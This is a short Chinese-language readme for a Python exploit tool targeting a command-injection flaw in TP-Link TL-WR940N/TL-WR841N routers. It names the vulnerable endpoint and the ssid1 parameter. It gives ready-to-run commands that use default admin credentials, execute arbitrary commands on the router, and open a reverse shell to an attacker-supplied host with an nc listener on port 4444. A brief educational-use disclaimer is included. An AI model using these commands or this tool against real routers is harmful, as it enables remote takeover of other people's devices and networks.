针对TP-Link TL-WR940N/TL-WR841N命令注入漏洞的Python利用工具

使用说明

1. 基本漏洞检查：

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. 执行自定义命令：

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. 反弹Shell（首先设置监听器：nc -lvnp 4444）：

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

重要说明：

• 这些脚本仅供教育和测试用途
• 在测试任何系统之前，请务必获得适当的授权
• 默认使用重启命令，因为它无破坏性且易于验证
• 反弹Shell可能不适用于所有固件版本，因为它依赖于可用的二进制文件
• 某些固件版本需要在URL中使用随机路径，该脚本会尝试自动检测

该漏洞是由于/userRpm/WlanNetworkRpm.htm端点的ssid1参数输入清理不当导致的，允许通过特制请求进行命令注入。